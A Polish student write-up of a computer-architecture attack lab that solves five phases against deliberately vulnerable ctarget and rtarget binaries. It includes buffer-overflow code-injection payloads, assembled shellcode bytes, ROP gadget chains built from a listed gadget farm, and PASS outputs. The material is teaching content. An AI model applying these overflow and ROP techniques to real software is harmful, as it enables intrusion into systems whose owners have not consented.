owned this note
owned this note
Published
Linked with GitHub
# Architektury systemów komputerowych - atak hakerski
Podobnie jak w przypadku rozbrajania bomby, postaram się przedstawić swoje rozwiązanie wszystkich faz/zadań. Trzy pierwsze polegają na stworzeniu ciągów znaków dla programu `ctarget` (wstrzyknięcie kodu), kolejne polegają na zidentyfikowaniu w wykonywalnym segmencie programu użytecznych (dla hakera) ciągów instrukcji zakończonych instrukcją powrotu z procedury `ret`.
W samych zadaniach ważna jest kolejność bajtów w systemie (endianness), można to sprawdzić poleceniem: `lscpu | grep Endian` - w moim przypadku jest to Little Endian.
Hodowla wszystkich gadżetów znajduje się na samym dole, żeby nie utrudniać dostępu do bardziej wartościowego tekstu.
Pliki przerobione narzędziem `hex2raw` można podjerzeć poleceniem `hd`.
## Wstrzyknięcie kodu
### Zadanie 1
Uruchamiamy `gdb ctarget`, ustawiamy breakpoint na procedurę `getbuf`, a następnie po uruchomieniu deasemblujemy ją:
```
Dump of assembler code for function getbuf:
=> 0x0000000000401b8f <+0>: sub $0x28,%rsp
0x0000000000401b93 <+4>: mov %rsp,%rdi
0x0000000000401b96 <+7>: callq 0x401dde <Gets>
0x0000000000401b9b <+12>: mov $0x1,%eax
0x0000000000401ba0 <+17>: add $0x28,%rsp
0x0000000000401ba4 <+21>: retq
End of assembler dump.
```
Wiemy, że rozmiar bufora jest stały, a więc wystarczy spojrzeć na linijkę `sub $0x28,%rsp`, aby dowiedzieć się, że bufor ma `0x28 = 40` bajtów, należy jeszcze sprawdzić adres procedury `touch1`, co możemy znaleźć w wydruku objdump pliku `ctarget`:
```
0000000000401ba5 <touch1>:
401ba5: 48 83 ec 08 sub $0x8,%rsp
401ba9: c7 05 4d 49 00 00 01 movl $0x1,0x494d(%rip)
# 406500 <vlevel>
401bb0: 00 00 00
401bb3: 48 8d 3d 5d 17 00 00 lea 0x175d(%rip),%rdi
# 403317 <_IO_stdin_used+0x317>
401bba: e8 c1 f4 ff ff callq 401080 <puts@plt>
401bbf: bf 01 00 00 00 mov $0x1,%edi
401bc4: e8 0f 03 00 00 callq 401ed8 <validate>
401bc9: bf 00 00 00 00 mov $0x0,%edi
401bce: e8 1d f6 ff ff callq 4011f0 <exit@plt>
```
Adresem jest więc `0x401ba5`. Teraz tworzymy plik `phase1.txt`, który następnie narzędziem `hex2raw` przerobimy na surowy plik `rawphase1.txt`, który będzie wejściem do `ctarget`:
```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* dotąd jest padding (40 bajtów, tyle co bufor) */
a5 1b 40 00 00 00 00 00 /* adres touch1 w little-endian */`
```
Poprawne wywołanie programu `hex2raw` do zamiany pliku:
```
./hex2raw < phase1.txt > rawphase1.txt
^^^^^^^^^^^^ ^^^^^^^^^^^^^^^
wczytaj z pliku zapisz do pliku
```
Po tym wszystkim odpalamy `./ctarget rawphase1.txt` i naszym oczom ukazuje się to:
```
Cookie: 0x2c2eddb8
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS
```
### Zadanie 2
To zadanie jest już troszkę bardziej skomplikowane, spójrzmy na procedurę `touch2`:
```
0000000000401bd3 <touch2>:
401bd3: 48 83 ec 08 sub $0x8,%rsp
401bd7: 89 fe mov %edi,%esi
401bd9: c7 05 1d 49 00 00 02 movl $0x2,0x491d(%rip)
# 406500 <vlevel>
401be0: 00 00 00
401be3: 39 3d 1f 49 00 00 cmp %edi,0x491f(%rip)
# 406508 <cookie>
401be9: 74 25 je 401c10 <touch2+0x3d>
401beb: 48 8d 3d 76 17 00 00 lea 0x1776(%rip),%rdi
# 403368 <_IO_stdin_used+0x368>
401bf2: b8 00 00 00 00 mov $0x0,%eax
401bf7: e8 b4 f4 ff ff callq 4010b0 <printf@plt>
401bfc: bf 02 00 00 00 mov $0x2,%edi
401c01: e8 90 03 00 00 callq 401f96 <fail>
401c06: bf 00 00 00 00 mov $0x0,%edi
401c0b: e8 e0 f5 ff ff callq 4011f0 <exit@plt>
401c10: 48 8d 3d 29 17 00 00 lea 0x1729(%rip),%rdi
# 403340 <_IO_stdin_used+0x340>
401c17: b8 00 00 00 00 mov $0x0,%eax
401c1c: e8 8f f4 ff ff callq 4010b0 <printf@plt>
401c21: bf 02 00 00 00 mov $0x2,%edi
401c26: e8 ad 02 00 00 callq 401ed8 <validate>
401c2b: eb d9 jmp 401c06 <touch2+0x33>
```
Wiemy, że pierwszy argument jest przekazywany w `%rdi`, a więc naszym zadaniem jest zmodyfikowanie tego rejestru, aby przechować tam nasze ciasteczko. W tym celu piszemy prosty kod, w którym przeniesiemy nasze ciasteczko do `%rdi`, zapiszemy to w pliku `phase2.s`:
```
movq $0x2c2eddb8,%rdi
retq
```
Kod ten kompilujemy poleceniem `gcc -c phase2.s`, a następnie kod wyjściowy deasemblujemy, aby uzyskać reprezentację bajtową kodu asemblera:
```
0000000000000000 <.text>:
0: 48 c7 c7 b8 dd 2e 2c mov $0x2c2eddb8,%rdi
7: c3 retq
```
Nas interesuje ta część: `48 c7 c7 b8 dd 2e 2c c3`.
Przejdźmy teraz do znalezienia adresu rejestru `%rsp`: odpalamy `gdb ctarget`, ustawiamy breakpoint na `getbuf` i uruchamiamy debugowanie, po czym deasemblujemy funkcję:
```
Dump of assembler code for function getbuf:
=> 0x0000000000401b8f <+0>: sub $0x28,%rsp
0x0000000000401b93 <+4>: mov %rsp,%rdi
0x0000000000401b96 <+7>: callq 0x401dde <Gets>
0x0000000000401b9b <+12>: mov $0x1,%eax
0x0000000000401ba0 <+17>: add $0x28,%rsp
0x0000000000401ba4 <+21>: retq
End of assembler dump.
```
Kilka razy wpisujemy `ni`, aby przejść do kolejnej instrukcji, jak będziemy przy wywołaniu `<Gets>`, to coś wpisujemy, a następnie sprawdzamy zawartość `%rsp` poleceniem `x/s $rsp`. Otrzymujemy adres `0x5564d408`, obok niego powinien pojawić się wpisany przez nas tekst. Możemy przejść do stworzenia pliku `phase2.txt`:
```
48 c7 c7 b8 dd 2e 2c c3 /* tutaj instrukcja z przypisania ciasteczka do %rdi */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* dotąd mamy padding */
08 d4 64 55 00 00 00 00 /* adres zwrotny %rsp */
d3 1b 40 00 00 00 00 00 /* adres funkcji touch2 */
```
Zostało nam tylko zmienienie pliku na "surowy": `./hex2raw < phase2.txt > rawphase2.txt`, a następnie uruchomienie `./ctarget < rawphase2.txt`. Wiadomość zwrotna:
```
Cookie: 0x2c2eddb8
Type string:Touch2!: You called touch2(0x2c2eddb8)
Valid solution for level 2 with target ctarget
PASS
```
### Zadanie 3
To zadanie jest bardzo zbliżone do poprzedniego, jednak najpierw przekazujemy adres dla ciasteczka do rejestru `%rdi`. Policzmy liczbę potrzebnych bajtów przed ciasteczkiem:
```
0x28 (bufor) + 0x8 (adres zwrotny %rsp) + 0x8 (adres touch3) = 0x38 = 56
```
Adres rejestru `%rsp` możemy wziąć z poprzedniego zadania, jest to `0x5564d408` - do niego musimy dodać obliczoną przed chwilą wartość, a więc `0x38`, otrzymamy więc `0x5564d440`. Znów tworzymy kod asemblera (taki jak w zadaniu 2):
```
movq $0x5564d440, %rdi
retq
```
i deasemblujemy go:
```
0000000000000000 <.text>:
0: 48 c7 c7 40 d4 64 55 mov $0x5564d440,%rdi
7: c3 retq
```
Interesująca część to `48 c7 c7 40 d4 64 55 c3`.
Przejdźmy więc do stworzenia pliku `phase3.txt`, potrzebny będzie nam jednak adres funkcji `touch3`, który uzyskamy deasemblując cały plik wykonywalny `ctarget`:
```
0000000000401cae <touch3>:
401cae: 53 push %rbx
401caf: 48 89 fb mov %rdi,%rbx
401cb2: c7 05 44 48 00 00 03 movl $0x3,0x4844(%rip)
# 406500 <vlevel>
401cb9: 00 00 00
401cbc: 48 89 fe mov %rdi,%rsi
401cbf: 8b 3d 43 48 00 00 mov 0x4843(%rip),%edi
# 406508 <cookie>
401cc5: e8 63 ff ff ff callq 401c2d <hexmatch>
401cca: 85 c0 test %eax,%eax
401ccc: 74 28 je 401cf6 <touch3+0x48>
401cce: 48 89 de mov %rbx,%rsi
401cd1: 48 8d 3d b8 16 00 00 lea 0x16b8(%rip),%rdi
# 403390 <_IO_stdin_used+0x390>
401cd8: b8 00 00 00 00 mov $0x0,%eax
401cdd: e8 ce f3 ff ff callq 4010b0 <printf@plt>
401ce2: bf 03 00 00 00 mov $0x3,%edi
401ce7: e8 ec 01 00 00 callq 401ed8 <validate>
401cec: bf 00 00 00 00 mov $0x0,%edi
401cf1: e8 fa f4 ff ff callq 4011f0 <exit@plt>
401cf6: 48 89 de mov %rbx,%rsi
401cf9: 48 8d 3d b8 16 00 00 lea 0x16b8(%rip),%rdi
# 4033b8 <_IO_stdin_used+0x3b8>
401d00: b8 00 00 00 00 mov $0x0,%eax
401d05: e8 a6 f3 ff ff callq 4010b0 <printf@plt>
401d0a: bf 03 00 00 00 mov $0x3,%edi
401d0f: e8 82 02 00 00 callq 401f96 <fail>
401d14: eb d6 jmp 401cec <touch3+0x3e>
```
Plik `phase3.txt` będzie wyglądał następująco:
```
48 c7 c7 40 d4 64 55 c3 /* 0x38(%rsp) - miejsce ciasteczka */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* dotąd padding */
08 d4 64 55 00 00 00 00 /* adres zwrotny %rsp */
ae 1c 40 00 00 00 00 00 /* adres funkcji touch3 */
32 63 32 65 64 64 62 38 /* string ciasteczka (cyfry -> ascii) */
```
Znów odpalamy `hex2raw`, a następnie `ctarget` z wejściem `rawphase3.txt`, otrzymujemy:
```
Cookie: 0x2c2eddb8
Type string:Touch3!: You called touch3("2c2eddb8")
Valid solution for level 3 with target ctarget
PASS
```
W ten sposób kończymy pierwszą serię ataków.
## Konstrukcja łańcuchów powrotów z procedur (ROP)
Wybierając poszczególne instrukcje `movq`, `movl` oraz `popq` musimy uważać, aby skorzystać z gadżetów zawierających tylko te instrukcje wspomniane w tabelce 4. lub instrukcji kodowanej jako `0x90`, tzn. instrukcji nop (no operation). Dzięki temu wykonamy tylko te fragmenty kodu gadżetów, które powinniśmy wykonać. Musimy unikać więc instrukcji zakończonych na np. `0x91`.
![](https://i.imgur.com/G9ax3DE.png)
### Zadanie 4
Zajrzyjmy do zdeasemblowanego kodu i poszukajmy gadżetów z jednym z kodowań instrukcji z tabelki:
![](https://i.imgur.com/ADj8m8V.png)
Bajt `58` z poniższej instrukcji koduje `popq %rax`:
```
0000000000401d48 <addval_364>:
401d48: 8d 87 80 73 e6 58 lea 0x58e67380(%rdi),%eax
401d4e: c3 retq
```
Interesująca nas instrukcja znajduje się na adresie `401d48` przesuniętym o 5 bajtów, a więc na `0x401d4d`. Musimy jeszcze przenieść ciasteczka z `%rax` do `%rdi`, szukamy więc instrukcji, która koduje `48 89 c7`, a więc `movq %rax, %rdi`. Ponownie bierzemy jej adres (z uzwzględnieniem przesunięcia), a więc `0x401d5c + 0x2 = 0x401d5e`.
```
0000000000401d5c <setval_142>:
401d5c: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
401d62: c3 retq
```
Otrzymujemy kod `phase4.txt`:
```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* dotąd padding, aby móc nadpisać adres powrotu */
4d 1d 40 00 00 00 00 00 /* adres instrukcji zawierającej popq %rax */
b8 dd 2e 2c 00 00 00 00 /* ciasteczko w little endian */
5e 1d 40 00 00 00 00 00 /* adres instrukcji zawierającej movq %rax, %rdi */
d3 1b 40 00 00 00 00 00 /* wywołanie touch2 */
```
Zmieniamy go przy użyciu hex2raw, wywołujemy `./rtarget < rawphase4.txt` i otrzymujemy:
```
Cookie: 0x2c2eddb8
Type string:Touch2!: You called touch2(0x2c2eddb8)
Valid solution for level 2 with target rtarget
PASS
```
### Zadanie 5
Najpierw musimy uwzględnić padding dla bufora jak w każdym poprzednim zadaniu, następnie wczytujemy wartość ze stosu `%rsp` do `%rax`, wykorzystujemy do tego gadżet:
```c=
0000000000401d8e <getval_217>:
401d8e: b8 b6 48 89 e0 mov $0xe08948b6,%eax
401d93: c3 retq
```
Instrukcja `movq %rsp, %rax` znajduje się na bajcie oddalonym o 2 od początku instrukcji, więc `0x401d8e + 0x2 = 0x401d90`.
Kolejnym krokiem jest przeniesienie wartości z `%rax` do `%rdi` (gdyż w mojej hodowli nie ma żadnego gadżetu przenoszącego wartość ze stosu do `%rdi`). Instrukcję tą zawierają aż trzy gadżety, wybrać należy go w sposób opisany powyżej (przy początku sekcji ROP).
```c=
0000000000401d55 <setval_122>:
401d55: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
401d5b: c3
```
Podobnie jak w poprzednim gadżecie, interesująca nas instrukcja znajduje się na bajcie przesuniętym o 2, a więc `0x401d55 + 0x2 = 0x401d57`. W kolejnych krokach nie będę opisywał już przesunięć instrukcji, wypisywane będą tylko adresy gotowe.
Następnie usuwamy wartość z `%rax` instrukcją `popq`, szukamy więc, zgodnie z tabelką, instrukcji o bajtowym kodowaniu `0x58`. Adres tej instrukcji to `0x401d4d`.
```c=
0000000000401d48 <addval_364>:
401d48: 8d 87 80 73 e6 58 lea 0x58e67380(%rdi),%eax
401d4e: c3 retq
```
Po tej instrukcji musimy dodać linijkę `00 00 00 00 00 00 00 00` - przyda nam się później, co będzie opisane na końcu.
Od teraz zaczynamy pracować na instrukcjach `movl` i na mniejszych, 32-bitowych rejestrach. Pierwszą instrukcja będzie `movl %eax, %edx` kodowane jako `89 c2`, zawiera ją poniższy gadżet na adresie `0x401de6`.
```c=
0000000000401de5 <getval_284>:
401de5: b8 89 c2 38 d2 mov $0xd238c289,%eax
401dea: c3 retq
```
Następnie będziemy musieli przenieść wartość z `%edx` do `%ecx` (kodowanie `89 d1`), a stąd do `%esi` (kodowanie `89 ce`). Są to kolejno adresy `0x401e48` oraz `0x401e1b`.
```c=
0000000000401e47 <getval_355>:
401e47: b8 89 d1 38 c0 mov $0xc038d189,%eax
401e4c: c3 retq
```
```c=
0000000000401e1a <getval_445>:
401e1a: b8 89 ce 90 90 mov $0x9090ce89,%eax
401e1f: c3 retq
```
Po wykonaniu tych instrukcji dodajemy wartości rejestrów `%rdi` oraz `%rsi`, zapisujemy je w `%rax`, odpowiada temu jedna instrukcja (w całości!!).
```c=
0000000000401d7c <add_xy>:
401d7c: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
401d80: c3 retq
```
Teraz musimy przenieść nasz argument funkcji z `%rax` do `%rdi`, aby móc wywołac `touch3` z poprawną wartością, użyjemy do tego poniższego gadżetu, a więc adresu `0x401d57`.
```c=
0000000000401d55 <setval_122>:
401d55: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
401d5b: c3
```
Możemy wywołać funkcję `touch3`, jej adres odczytujemy objdumpem i jest to `0x401cae`, na końcu wrzucamy ciasteczko w hex (u mnie `32 63 32 65 64 64 62 38`). Teraz przejdźmy do końcowego kodu i wspomnianej linijki złożonej z zerowych bajtów, która na samym końcu powinna zamienić się na `48 00 00 00 00 00 00 00` - spowodowane jest to przesunięciem stringu ciasteczka względem początku instrukcji, a więc w instrukcji `90 1d 40 ...` nasz offset wynosi 0, przechodząc aż do wywołania instrukcji `touch3`, a więc `ae 1c 40 ...` liczymy wszystkie linijki. Mamy ich 9, a w każdej linijce jest 8 bajtów, stąd offset wynosi $9\cdot 8 = 72 = 48_{16}$.
```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* dotąd jest padding */
90 1d 40 00 00 00 00 00 /* 48 89 e0 == movq %rsp, %rax => getval_217 + 2 */
57 1d 40 00 00 00 00 00 /* 48 89 c7 == movq %rax, %rdi => setval_122 + 2 */
4d 1d 40 00 00 00 00 00 /* 58 == popq %rax => addval_364 + 5 */
48 00 00 00 00 00 00 00 /* offset stringu ciasteczka od poczatku wywołań bez paddingu */
e6 1d 40 00 00 00 00 00 /* 89 c2 == movl %eax, %edx => getval_284 + 1 */
48 1e 40 00 00 00 00 00 /* 89 d1 == movl %edx, %ecx => getval_355 + 1 */
1b 1e 40 00 00 00 00 00 /* 89 c3 == movl %ecx, %esi => getval_445 + 1 */
7c 1d 40 00 00 00 00 00 /* instrukcja add_xy, otrzymujemy %rax = %rdi + %rsi */
57 1d 40 00 00 00 00 00 /* 48 89 c7 == movq %rax, %rdi => setval_122 + 2 */
ae 1c 40 00 00 00 00 00 /* wywolanie touch3 */
32 63 32 65 64 64 62 38 /* string ciasteczka w hex */
```
W końcu możemy zamienić cały pliczek używając hex2raw, odpalić rtarget i uzyskać:
```
Cookie: 0x2c2eddb8
Type string:Touch3!: You called touch3("2c2eddb8")
Valid solution for level 3 with target rtarget
PASS
```
## Hodowla gadżetów
```c=
0000000000401d3c <start_farm>:
401d3c: b8 01 00 00 00 mov $0x1,%eax
401d41: c3 retq
0000000000401d42 <getval_259>:
401d42: b8 53 58 90 c3 mov $0xc3905853,%eax
401d47: c3 retq
0000000000401d48 <addval_364>:
401d48: 8d 87 80 73 e6 58 lea 0x58e67380(%rdi),%eax
401d4e: c3 retq
0000000000401d4f <getval_261>:
401d4f: b8 08 89 c7 90 mov $0x90c78908,%eax
401d54: c3 retq
0000000000401d55 <setval_122>:
401d55: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
401d5b: c3 retq
0000000000401d5c <setval_142>:
401d5c: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
401d62: c3 retq
0000000000401d63 <getval_318>:
401d63: b8 66 78 c3 51 mov $0x51c37866,%eax
401d68: c3 retq
0000000000401d69 <getval_415>:
401d69: b8 48 89 c7 91 mov $0x91c78948,%eax
401d6e: c3 retq
0000000000401d6f <setval_404>:
401d6f: c7 07 e7 58 91 90 movl $0x909158e7,(%rdi)
401d75: c3 retq
0000000000401d76 <mid_farm>:
401d76: b8 01 00 00 00 mov $0x1,%eax
401d7b: c3 retq
0000000000401d7c <add_xy>:
401d7c: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
401d80: c3 retq
0000000000401d81 <addval_319>:
401d81: 8d 87 89 d1 38 c0 lea -0x3fc72e77(%rdi),%eax
401d87: c3 retq
0000000000401d88 <getval_420>:
401d88: b8 89 c2 18 c9 mov $0xc918c289,%eax
401d8d: c3 retq
0000000000401d8e <getval_217>:
401d8e: b8 b6 48 89 e0 mov $0xe08948b6,%eax
401d93: c3 retq
0000000000401d94 <addval_233>:
401d94: 8d 87 89 d1 a4 c0 lea -0x3f5b2e77(%rdi),%eax
401d9a: c3 retq
0000000000401d9b <addval_204>:
401d9b: 8d 87 8d d1 20 c0 lea -0x3fdf2e73(%rdi),%eax
401da1: c3 retq
0000000000401da2 <addval_391>:
401da2: 8d 87 c8 89 e0 c3 lea -0x3c1f7638(%rdi),%eax
401da8: c3 retq
0000000000401da9 <addval_244>:
401da9: 8d 87 48 89 e0 c2 lea -0x3d1f76b8(%rdi),%eax
401daf: c3 retq
0000000000401db0 <getval_119>:
401db0: b8 48 09 e0 c3 mov $0xc3e00948,%eax
401db5: c3 retq
0000000000401db6 <addval_287>:
401db6: 8d 87 09 ce 08 db lea -0x24f731f7(%rdi),%eax
401dbc: c3 retq
0000000000401dbd <setval_397>:
401dbd: c7 07 89 c2 c4 d2 movl $0xd2c4c289,(%rdi)
401dc3: c3 retq
0000000000401dc4 <setval_476>:
401dc4: c7 07 48 89 e0 92 movl $0x92e08948,(%rdi)
401dca: c3 retq
0000000000401dcb <addval_402>:
401dcb: 8d 87 89 c2 30 d2 lea -0x2dcf3d77(%rdi),%eax
401dd1: c3 retq
0000000000401dd2 <getval_235>:
401dd2: b8 89 ce 00 db mov $0xdb00ce89,%eax
401dd7: c3 retq
0000000000401dd8 <getval_185>:
401dd8: b8 a8 48 c9 e0 mov $0xe0c948a8,%eax
401ddd: c3 retq
0000000000401dde <setval_356>:
401dde: c7 07 89 ce 18 db movl $0xdb18ce89,(%rdi)
401de4: c3 retq
0000000000401de5 <getval_284>:
401de5: b8 89 c2 38 d2 mov $0xd238c289,%eax
401dea: c3 retq
0000000000401deb <getval_225>:
401deb: b8 4f a7 89 ce mov $0xce89a74f,%eax
401df0: c3 retq
0000000000401df1 <addval_312>:
401df1: 8d 87 48 89 e0 92 lea -0x6d1f76b8(%rdi),%eax
401df7: c3 retq
0000000000401df8 <setval_350>:
401df8: c7 07 09 d1 08 c0 movl $0xc008d109,(%rdi)
401dfe: c3 retq
0000000000401dff <addval_389>:
401dff: 8d 87 99 c2 84 db lea -0x247b3d67(%rdi),%eax
401e05: c3 retq
0000000000401e06 <getval_317>:
401e06: b8 89 c2 c3 cb mov $0xcbc3c289,%eax
401e0b: c3 retq
0000000000401e0c <addval_474>:
401e0c: 8d 87 89 d1 c4 db lea -0x243b2e77(%rdi),%eax
401e12: c3 retq
0000000000401e13 <setval_268>:
401e13: c7 07 99 d1 90 c3 movl $0xc390d199,(%rdi)
401e19: c3 retq
0000000000401e1a <getval_445>:
401e1a: b8 89 ce 90 90 mov $0x9090ce89,%eax
401e1f: c3 retq
0000000000401e20 <getval_384>:
401e20: b8 89 c2 00 db mov $0xdb00c289,%eax
401e25: c3 retq
0000000000401e26 <setval_307>:
401e26: c7 07 09 c2 84 c0 movl $0xc084c209,(%rdi)
401e2c: c3 retq
0000000000401e2d <getval_223>:
401e2d: b8 48 89 e0 90 mov $0x90e08948,%eax
401e32: c3 retq
0000000000401e33 <addval_413>:
401e33: 8d 87 99 ce 90 c3 lea -0x3c6f3167(%rdi),%eax
401e39: c3 retq
0000000000401e3a <addval_480>:
401e3a: 8d 87 89 ce 18 c9 lea -0x36e73177(%rdi),%eax
401e40: c3 retq
0000000000401e41 <getval_344>:
401e41: b8 89 d1 94 90 mov $0x9094d189,%eax
401e46: c3 retq
0000000000401e47 <getval_355>:
401e47: b8 89 d1 38 c0 mov $0xc038d189,%eax
401e4c: c3 retq
0000000000401e4d <addval_366>:
401e4d: 8d 87 89 ce c4 c0 lea -0x3f3b3177(%rdi),%eax
401e53: c3 retq
0000000000401e54 <end_farm>:
401e54: b8 01 00 00 00 mov $0x1,%eax
401e59: c3 retq
```